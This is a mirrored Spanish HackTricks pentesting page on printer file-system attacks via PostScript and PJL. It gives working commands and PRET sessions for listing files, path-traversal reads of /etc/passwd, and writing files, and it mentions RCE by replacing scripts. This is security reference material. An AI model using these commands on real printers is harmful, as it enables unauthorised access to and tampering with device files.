mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 08:30:57 +00:00
109 lines
6 KiB
Markdown
109 lines
6 KiB
Markdown
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
|
||
|
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
||
|
- Consigue la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
|
||
|
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
|
||
|
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
|
||
|
## **PostScript**
|
||
|
|
||
|
Recupera información sensible como archivos de configuración o trabajos de impresión almacenados, RCE escribiendo archivos (como editar scripts rc o reemplazar archivos binarios). Se definen constructos de lenguaje legítimos para **PostScript** y **PJL** para **acceder al sistema de archivos**.
|
||
|
|
||
|
Accede al sistema de archivos con PostScript (ten en cuenta que podría estar limitado a acciones inofensivas):
|
||
|
```bash
|
||
|
> /str 256 string def (%*%../*) % list all files
|
||
|
> {==} str filenameforall
|
||
|
< (%disk0%../webServer/home/device.html)
|
||
|
< (%disk0%../webServer/.java.login.config)
|
||
|
< (%disk0%../webServer/config/soe.xml)
|
||
|
|
||
|
> /byte (0) def % read from file
|
||
|
> /infile (../../../etc/passwd) (r) file def
|
||
|
> { infile read {byte exch 0 exch put
|
||
|
> (%stdout) (w) file byte writestring}
|
||
|
> {infile closefile exit} ifelse
|
||
|
> } loop
|
||
|
< root::0:0::/:/bin/dlsh
|
||
|
|
||
|
> /outfile (test.txt) (w+) file def}} % write to file
|
||
|
> outfile (Hello World!) writestring
|
||
|
> outfile closefile
|
||
|
```
|
||
|
Puedes utilizar los comandos de [PRET](https://github.com/RUB-NDS/PRET): `ls`, `get`, `put`, `append`, `delete`, `rename`, `find`, `mirror`, `touch`, `mkdir`, `cd`, `pwd`, `chvol`, `traversal`, `format`, `fuzz` y `df`.
|
||
|
```
|
||
|
./pret.py -q printer ps
|
||
|
Connection to printer established
|
||
|
|
||
|
Welcome to the pret shell. Type help or ? to list commands.
|
||
|
printer:/> ls ../..
|
||
|
d - Jan 1 1970 (created Jan 1 1970) bootdev
|
||
|
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi
|
||
|
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi_ss
|
||
|
d - Jan 1 1970 (created Jan 1 1970) dsk_ram0
|
||
|
d - Jan 1 1970 (created Jan 1 1970) etc
|
||
|
d - Jan 1 1970 (created Jan 1 1970) tmp
|
||
|
d - Jan 1 1970 (created Jan 1 1970) webServer
|
||
|
```
|
||
|
## PJL
|
||
|
|
||
|
PJL (Printer Job Language) es un lenguaje de control de impresoras que se utiliza para enviar comandos a la impresora. Los comandos PJL se envían antes de que se envíe el trabajo de impresión y se utilizan para configurar la impresora y controlar el trabajo de impresión.
|
||
|
|
||
|
Algunos comandos PJL útiles son:
|
||
|
|
||
|
- `@PJL INFO CONFIG` - Muestra la configuración actual de la impresora.
|
||
|
- `@PJL JOB PASSWORD = "password"` - Establece una contraseña para el trabajo de impresión.
|
||
|
- `@PJL FSUPLOAD` - Carga un archivo en el sistema de archivos de la impresora.
|
||
|
- `@PJL FSINFO` - Muestra información sobre el sistema de archivos de la impresora.
|
||
|
- `@PJL DIRLIST` - Muestra una lista de archivos en el sistema de archivos de la impresora.
|
||
|
|
||
|
Para utilizar los comandos PJL, se puede enviar un archivo de impresión que contenga los comandos PJL necesarios. También se puede utilizar una herramienta como `netcat` para enviar los comandos PJL directamente a la impresora.
|
||
|
|
||
|
Es importante tener en cuenta que algunos comandos PJL pueden ser peligrosos y permitir el acceso no autorizado al sistema de archivos de la impresora. Por lo tanto, es importante asegurarse de que la impresora esté configurada de manera segura y de que se utilicen contraseñas fuertes para proteger los trabajos de impresión.
|
||
|
```
|
||
|
> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files)
|
||
|
< .\:\:TYPE=DIR
|
||
|
< ..\:\:TYPE=DIR
|
||
|
< PostScript TYPE=DIR
|
||
|
< PJL TYPE=DIR
|
||
|
< saveDevice TYPE=DIR
|
||
|
< webServer TYPE=DIR
|
||
|
|
||
|
> @PJL FSQUERY NAME="0:\..\..\etc\passwd" (read from file)
|
||
|
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
|
||
|
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
|
||
|
< root::0:0::/:/bin/dlsh
|
||
|
|
||
|
> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt" (write to file)
|
||
|
> Hello World!
|
||
|
```
|
||
|
De todas formas, acceder a archivos con PJL no es compatible con muchos impresoras.
|
||
|
|
||
|
Puedes utilizar los comandos de [PRET](https://github.com/RUB-NDS/PRET): `ls`, `get`, `put`, `append`, `delete`, `find`, `mirror`, `touch`, `mkdir`, `cd`, `pwd`, `chvol`, `traversal`, `format`, `fuzz` y `df`.
|
||
|
```
|
||
|
./pret.py -q printer pjl
|
||
|
Connection to printer established
|
||
|
|
||
|
Welcome to the pret shell. Type help or ? to list commands.
|
||
|
printer:/> ls ..
|
||
|
d - bootdev
|
||
|
d - dsk_jdi
|
||
|
d - dsk_jdi_ss
|
||
|
d - dsk_ram0
|
||
|
d - etc
|
||
|
d - lrt
|
||
|
d - tmp
|
||
|
d - webServer
|
||
|
d - xps
|
||
|
```
|
||
|
Aprende más sobre posibles formas de evitar el sandboxing utilizando limitaciones de PostScript y PJL en [http://hacking-printers.net/wiki/index.php/File\_system\_access](http://hacking-printers.net/wiki/index.php/File\_system\_access).
|